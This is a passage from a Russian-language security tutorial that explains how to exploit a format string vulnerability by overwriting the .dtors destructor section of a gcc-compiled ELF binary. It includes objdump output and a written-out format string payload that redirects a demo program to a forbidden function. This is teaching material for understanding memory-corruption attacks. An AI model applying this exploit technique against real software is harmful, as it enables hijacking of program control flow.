Эту статью мы начали с утверждения, что ошибки в формате - реальная уязвимость. Другое дело - как использовать их. Эксплоиты переполнения буфера надеются на запись в адрес возврата функции. В этом случае вы должны пытаться это сделать (почти) наугад и сильно молиться на свои скрипты, чтобы они нашли правильные значения (даже вызов шелла должен быть полон NOP-ов). Вам не нужно все это в случае ошибок в формате, и вы больше не ограничены перезаписью адреса возврата.
Мы видели, что ошибки в формате позволяют нам производить запись куда угодно. Итак, мы увидим сейчас использование этой дыры, основанное на секции .dtors.
Если программа скомпилирована при помощи gcc, вы можете найти в ней секцию конструктора (называемую .ctors) и деструктора (называемую .dtors). Каждая из этих секций содержит указатели на функции для выполнения перед входом в функцию main() и после выхода из нее соответственно.
Наша маленькая программа показывает этот механизм:
>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()
Каждая из этих секций построена одинаково:
>>objdump -s -j .ctors cdtors
cdtors: file format elf32-i386
Contents of section .ctors:
804949c ffffffff dc830408 00000000 ............
>>objdump -s -j .dtors cdtors
cdtors: file format elf32-i386
Contents of section .dtors:
80494a8 ffffffff f0830408 00000000 ............
Мы проверяем, что указанные адреса соответствуют нашим функциям (внимание: предыдущая команда objdump выдала адреса в прямом порядке байтов):
>>objdump -t cdtors | egrep "start|end"
080483dc g F .text 00000012 start
080483f0 g F .text 00000012 end
Итак, эти секции содержат адреса функций для выполнения в начале (или в конце), находящиеся между 0xffffffff и 0x00000000.
Давайте применим это к vuln с использованием строки формата. Сначала, мы должны получить расположение в памяти этих секций, что по-настоящему просто, если у вас под рукой есть двоичный код программы ;-) Просто используем objdump, как делали ранее:
>> objdump -s -j .dtors vuln
vuln: file format elf32-i386
Contents of section .dtors:
8049844 ffffffff 00000000 ........
Вот оно! Теперь мы имеем все, что нам надо.
Цель эксплоита - заменить адрес функции в одной из этих секций на адрес функции, которую хотим выполнить. Если эти секции пустые, мы просто должны перезаписать 0x00000000, который указывает на конец секции. Это вызовет нарушение сегментации (segmentation fault), так как программа не найдет 0x00000000 и возмет следующее значение, как адрес функции, что, вероятно, неверно.
Фактически, единственная интересующая нас секция - секция деструктора (.dtors): у нас нет времени делать что-либо перед секцией конструктора (.ctors). Обычно достаточно перезаписать адрес, расположенный на 4 байта дальше от начала секции (0xffffffff):
если здесь нет адреса, мы перезапишем 0x00000000;
иначе, первая функция, которая выполнится, будет нашей.
Вернемся к нашему примеру. Мы заменяем 0x00000000 в секции .dtors, расположенный по адресу 0x8049848=0x8049844+4, на адрес функции accesForbidden(), уже известный (0x8048664):
>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664
before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH0000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)
Все проходит отлично, main()helloWorld() и затем выход. Потом вызывается деструктор. Секция .dtors начинается с адреса accesForbidden(). Затем, так как нет другого действительного адреса, происходит ожидаемый дамп памяти.